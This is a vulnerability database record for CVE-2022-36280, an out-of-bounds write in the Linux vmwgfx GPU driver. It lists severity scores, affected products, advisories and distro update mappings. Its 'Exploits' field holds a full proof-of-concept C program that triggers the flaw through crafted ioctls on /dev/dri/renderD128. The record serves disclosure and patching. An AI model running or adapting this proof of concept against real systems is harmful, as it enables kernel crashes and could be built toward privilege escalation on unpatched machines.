There is an out-of-bounds write vulnerability in vmwgfx driver
Summary
| CVE | CVE-2022-36280 |
|---|---|
| State | PUBLISHED |
| Assigner | Anolis |
| Source Priority | CVE Program / NVD first with legacy fallback |
| Published | 2022-09-09 15:15:10 UTC |
| Updated | 2026-10-14 18:17:01 UTC |
| Description | An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS). |
Risk And Classification
Primary CVSS: v3.1 5.5 MEDIUM from [email protected]
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS: 0.007850000 probability, percentile 0.550870000 (date 2026-10-14)
Problem Types: CWE-120 | CWE-787 | CWE-120 CWE-120 Buffer Overflow
| Version | Source | Type | Score | Severity | Vector |
|---|---|---|---|---|---|
| 3.1 | [email protected] | Primary | 5.5 | MEDIUM | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | [email protected] | Secondary | 6.3 | MEDIUM | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H |
| 3.1 | CNA | DECLARED | 6.3 | MEDIUM | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H |
CVSS v3.1 Breakdown
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
NVD Known Affected Configurations (CPE 2.3)
| Type | Vendor | Product | Version | Update | Edition | Language |
|---|---|---|---|---|---|---|
| Operating System | Debian | Debian Linux | 11.0 | All | All | All |
| Operating System | Linux | Linux Kernel | All | All | All | All |
Vendor Declared Affected Products
| Source | Vendor | Product | Version | Platforms |
|---|---|---|---|---|
| CNA | Linux | Kernel | affected v3.2-rc1 5.13.0-52* custom | Not specified |
| ADP | Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux Subsystem | affected V1.1 custom | Not specified |
References
| Reference | Source | Link | Tags |
|---|---|---|---|
| [SECURITY] [DLA 3349-1] linux-5.10 security update | af854a3a-2127-422b-91ae-364da2661108 | lists.debian.org | |
| Debian -- Security Information -- DSA-5324-1 linux | af854a3a-2127-422b-91ae-364da2661108 | www.debian.org | Third Party Advisory |
| [SECURITY] [DLA 3403-1] linux security update | af854a3a-2127-422b-91ae-364da2661108 | lists.debian.org | |
| Bug Access Denied | af854a3a-2127-422b-91ae-364da2661108 | bugzilla.openanolis.cn | Issue Tracking, Permissions Required, Third Party Advisory |
| cert-portal.siemens.com/productcert/html/ssa-794697.html | 0b142b55-0307-4c5a-b3c9-f314f3fb7c5e | cert-portal.siemens.com | |
| CVE Program record | CVE.ORG | www.cve.org | canonical |
| NVD vulnerability detail | NVD | nvd.nist.gov | canonical, analysis |
Vendor Comments And Credit
Discovery Credit
CNA: Ziming Zhang([email protected]) from Ant Group Light-Year Security Lab (en)
Additional Advisory Data
Exploits
CNA: #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_tun.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <stdint.h> #include <netinet/ip.h> #include <sys/resource.h> #include <sys/syscall.h> #include <limits.h> #include <sys/mman.h> #include <linux/fs.h> int fd = 0; typedef struct mixer { int index; int fd; char *msg; }mixer_t; struct drm_vmw_surface_create_req { __u32 flags; __u32 format; __u32 mip_levels[6]; __u64 size_addr; __s32 shareable; __s32 scanout; }; struct drm_vmw_execbuf_arg { __u64 commands; __u32 command_size; __u32 throttle_us; __u64 fence_rep; __u32 version; __u32 flags; __u32 context_handle; __s32 imported_fence_fd; }; void init(){ if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1) { printf("open tun failed: %s\n", strerror(errno)); return -1; } } void poc(int handle,int sid){ char *vaddr=(unsigned long)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */, -1, 0); if (mlock((void *)vaddr, 0x2000) == -1) { printf("[-] failed to lock memory (%s), aborting!\n", strerror(errno)); } memset(vaddr,"a",0x2000); int cmd[0x1000]={0}; cmd[0]=1044; cmd[1]=0x50; cmd[2]=handle; cmd[3]=0; cmd[5]=sid; cmd[6]=0; cmd[7]=0; cmd[13]=1; cmd[12]=0x2000; cmd[14]=1; cmd[19]=12; struct drm_vmw_execbuf_arg arg={0}; arg.commands=cmd; arg.command_size=0x100; arg.version=1; if (ioctl(fd, 0x4028644C, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } } int alloc_bo(){ int arg[0x10]={0}; arg[0]=0x10000; if (ioctl(fd, 0xC0186441, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[2]; } int create_surface(){ int buf[0x100]={0}; buf[0]=64; buf[1]=64; buf[2]=64; struct drm_vmw_surface_create_req arg={0}; arg.flags=0; arg.format=2; arg.mip_levels[0]=1; arg.size_addr=buf; arg.shareable=0; arg.scanout=0x10; if (ioctl(fd, 0xC0306449, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg.flags; } int main(int ac, char **argv) { init(); int handle=alloc_bo(); int sid = create_surface(); printf("%d",sid); poc(handle,sid); }
Legacy QID Mappings
- 181491 Debian Security Update for linux (DSA 5324-1)
- 181618 Debian Security Update for linux-5.10 (DLA 3349-1)
- 181768 Debian Security Update for linux (DLA 3403-1)
- 184909 Debian Security Update for linux (CVE-2022-36280)
- 199208 Ubuntu Security Notification for Linux kernel (OEM) Vulnerabilities (USN-5915-1)
- 199212 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5917-1)
- 199218 Ubuntu Security Notification for Linux kernel (Azure) Vulnerabilities (USN-5927-1)
- 199224 Ubuntu Security Notification for Linux kernel (Raspberry Pi) Vulnerabilities (USN-5934-1)
- 199226 Ubuntu Security Notification for Linux kernel (GCP) Vulnerabilities (USN-5939-1)
- 199230 Ubuntu Security Notification for Linux kernel (Raspberry Pi) Vulnerabilities (USN-5940-1)
- 199239 Ubuntu Security Notification for Linux kernel (IBM) Vulnerabilities (USN-5951-1)
- 199255 Ubuntu Security Notification for Linux kernel (OEM) Vulnerabilities (USN-5976-1)
- 199260 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5982-1)
- 199261 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5984-1)
- 199265 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5987-1)
- 199267 Ubuntu Security Notification for Linux kernel (GCP) Vulnerabilities (USN-5991-1)
- 199276 Ubuntu Security Notification for Linux kernel (BlueField) Vulnerabilities (USN-6000-1)
- 199280 Ubuntu Security Notification for Linux kernel (Intel IoTG) Vulnerabilities (USN-6004-1)
- 199297 Ubuntu Security Notification for Linux kernel (OEM) Vulnerabilities (USN-6032-1)
- 199300 Ubuntu Security Notification for Linux kernel (Qualcomm Snapdragon) Vulnerabilities (USN-6030-1)
- 199343 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6079-1)
- 199353 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6091-1)
- 199354 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6096-1)
- 199502 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5975-1)
- 199541 Ubuntu Security Notification for Linux kernel (Azure) Vulnerabilities (USN-5924-1)
- 199560 Ubuntu Security Notification for Linux kernel (AWS) Vulnerabilities (USN-6001-1)
- 199568 Ubuntu Security Notification for Linux kernel (AWS) Vulnerabilities (USN-6013-1)
- 199570 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-5981-1)
- 199577 Ubuntu Security Notification for Linux kernel Vulnerabilities (USN-6014-1)
- 199587 Ubuntu Security Notification for Linux kernel (GCP) Vulnerabilities (USN-6009-1)
- 378701 Alibaba Cloud Linux Security Update for cloud-kernel (ALINUX2-SA-2023:0030)
- 378710 Alibaba Cloud Linux Security Update for cloud-kernel (ALINUX3-SA-2023:0079)
- 379043 Alibaba Cloud Linux Security Update for cloud-kernel (ALINUX3-SA-2023:0136)
- 672935 EulerOS Security Update for kernel (EulerOS-SA-2023-1824)
- 673208 EulerOS Security Update for kernel (EulerOS-SA-2023-2315)
- 673393 EulerOS Security Update for kernel (EulerOS-SA-2023-2647)
- 674113 EulerOS Security Update for kernel (EulerOS-SA-2023-2689)
- 753743 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0618-1)
- 753745 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0634-1)
- 753807 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0768-1)
- 753808 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0778-1)
- 753810 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0780-1)
- 753832 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0852-1)
- 755842 SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:0774-1)
- 755851 SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:2646-1)
- 755900 SUSE Enterprise Linux Security Update for the Linux-RT Kernel (SUSE-SU-2023:0488-1)
- 903907 Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10950)
- 906230 Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10950-2)
- 906608 Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10950-4)